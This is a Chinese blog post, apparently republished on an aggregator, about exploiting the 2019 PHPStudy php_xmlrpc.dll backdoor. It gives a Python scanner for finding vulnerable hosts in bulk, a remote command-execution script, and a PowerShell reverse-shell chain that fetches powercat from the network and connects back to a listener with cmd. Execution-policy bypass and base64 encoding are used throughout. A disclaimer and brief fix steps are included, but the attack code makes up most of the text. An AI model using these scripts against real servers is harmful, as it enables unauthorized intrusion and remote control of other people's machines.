美文网首页TIDE_网络安全
有染PHPStudy_BackDoor

有染PHPStudy_BackDoor

作者: RabbitMask | 来源:发表于2019-09-29 13:45 被阅读0次

前不久PHPStudy几乎要被玩坏,几乎没有什么技术水准的利用方式,破坏性却是巨大的。笔者亦是PHPStudy的铁粉,果不其然手头的服务器全部沦陷,心疼自己一秒,好在相关人员已经落网,这份长达多年的闹剧终于画上了个句号。

从一个渗透测试工作者角度出发,我们来后知后觉的探究下这个后门的利用方式,来引起警示并帮助同为PHPStudy铁粉的用户进行批量快速的自己检测以即使的发现并修复漏洞。

不管是第三方下载的还是官网下载的phpstudy均存在后门,存在于php5.4.45和php5.2.17,当切换到其他版本漏洞是不存在的。

有问题的文件:

Phpstudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45-nts\ext\php_xmlrpc.dll

以上,大家已经在其它地方有所了解了,仅作简单回顾,接下来我们来讨论下关于它的批量检测与利用。

批量检测

批量检测的思路就是通过最简单的phpinfo();方法,来判断返回内容是否包含phpinfo字样来判断是否存在后门。
值得一提的是使用burp重放时,"Accept-Encoding": "gzip,deflate"deflate前面是默认存在一个空格的,会导致复现失败。

def ProofOfConcept(url):
    if 'http' not in url and 'https' not in url:
        url = "http://" + url
    headers = {
            "User-Agent" : choice(USER_AGENTS),
            "Accept-Charset": "cGhwaW5mbygpOw==",
            "Accept-Encoding": "gzip,deflate"
        }
    try:
        pocRequest = requests.get(url, headers=headers,timeout=TIME_OUT)
        if "phpinfo" in str(pocRequest.content):
            print('[+] {} is vulnerable.'.format(url))
            fw=open('phpstudy_backdoor_urls.txt','a')
            fw.write(url+'\n')
            fw.close()
        else:
            print('[-] {} is invulnerable.'.format(url))
    except :
        print('[*] {} Looks Like Something Wrong.'.format(url))

我们通过多进程并发来实现对多目标的批量检测,核心poc为上述代码。

运行demo:
python phpstudy_backdoor_poc.py

[+] http://127.0.0.1 is vulnerable.
[-] http://192.168.1.1 is invulnerable.
[*] http://192.168.1.2 Looks Like Something Wrong.
[*] http://192.168.1.3 Looks Like Something Wrong.

命令执行

rce的复现方式原理和poc相同,借助脚本实现base64自动转换,方便我们执行明文命令。

command="system('{}');".format(command)
command = base64.b64encode(command.encode('utf-8'))
#运行demo:
Usage: python3 phpstudy_backdoor_exp.py [url] [command]
python phpstudy_backdoor_exp.py 127.0.0.1 whoami

[+] Command Execute Successful.
rabbitmask\rabbitmask

反弹shell

就目前版本来讲,phpstudy是部署在Windows平台(确实存在linux版本,发布不久测试阶段)居多,主流Windows平台均已支持powershell(win7/server2008以上),我们反弹shell的探究借助powershell实现。

一、借助powershell配置powercat反弹shell的payload并Base64加密。

(powercat:powershell版的netcat,级别:神器)

$text = "IEX (New-Object  System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.254 -p 6666 -e cmd;" 
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) 
$EncodedText =[Convert]::ToBase64String($Bytes) 
$EncodedText > bs64.txt
二、借助powershell进行bypass处理
system('powershell -exec bypass -encodedcommand [bs64.txt内容]');
三、base64加密后交给Accept-Charset参数提交payload
Accept-Charset: [base64(bypass)]

关于脚本的实现需要提一句,ps1格式脚本执行默认是关闭的,需要在powershell中执行set-executionpolicy remotesigned开启允许脚本执行。

脚本实现:
def payload():
    fw=open('bs64.ps1','w')
    fw.write('$text = "IEX (New-Object  System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\'); powercat -c {} -p {} -e cmd;"'.format(listen_host,listen_port)+'\n')
    fw.write("$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)"+'\n')
    fw.write("$EncodedText =[Convert]::ToBase64String($Bytes)"+'\n')
    fw.write("$EncodedText > bs64.txt"+'\n')
    fw.close()
    os.system('PowerShell.exe -file bs64.ps1')
    fr=open('bs64.txt','r',encoding='utf-16-le')
    bs64=fr.readline()
    fr.close()
    bypass='powershell -exec bypass -encodedcommand {}'.format(bs64)
@phpstudy_backdoor_exp.py
#请配置监听地址与端口
listen_host='192.168.1.254'
listen_port='6666'
运行demo:
Usage: python3 phpstudy_backdoor_exp.py [url]
python phpstudy_backdoor_shell.py 192.168.1.254
nc -lvvp [port]

一键bypass反弹shell:

到这里总有人想吐槽一句,明明可以RCE为什么还要反弹shell,两点:1、内网pc,2、长命令与特殊字符编码

声明:

本文章内容仅供技术探讨,旨在帮助更多用户高效的发现自己的服务器问题并对漏洞危害性提高认识,请勿用户非授权测试。

修复:

1、php官网替换对应版本文件
2、phpstudy官网更新最新版phpstudy

工具地址:https://github.com/rabbitmask/PHPStudy_BackDoor

相关文章

  • 有染PHPStudy_BackDoor

    前不久PHPStudy几乎要被玩坏,几乎没有什么技术水准的利用方式,破坏性却是巨大的。笔者亦是PHPStudy的铁...

  • 有染

    葡百串 诗两行 有染 纠缠 萑兰 不宣 于是沉香 初,见甚欢 甘之若饴 才心安

  • 今日练习

    还有染没有完成。

  • 色,有染

    秋,叶红 色,有染 爱,无依

  • 关于功德

    宗萨仁波切: 根据经典,佛陀说过做善事的方式有两种功德,一种是所谓有染污的功德,另一种是没有染污的功德。 没有染污...

  • 互吐有染

    北京人骂外地人视频风波之观 本同根,心连心 共住地球村 同龙祖,何化界 皆是中国人 遵,遵,遵 自烽烟,对狼群 羞...

  • 时光有染

    我不需要甜言蜜语,人山人海里我只需要你。

  • 与文字有染

    时光渐远,我们已不再少年,漫漫时光悲喜无尽。韶华胜极的青春,虽然花开最艳,却也最寂寞。盛世的年华,半世山河又将为谁...

  • 与北辰有染

    时间和距离都不是理由 进一步或退一步都是羁绊 第一眼,过后是沦陷 一场冒险,无法兑现的诺言 谁心甘情愿 谁被搁浅 ...

  • 时光有染

    浮华盛名皆浮云,烟火阑珊皆成空。世事无常凝心对,锦书书罢万物运。 人生如水,岁月如风,风化万般缥缈,一圈圈的年轮,...

网友评论

    本文标题:有染PHPStudy_BackDoor

    本文链接:https://www.haomeiwen.com/subject/hbkfpctx.html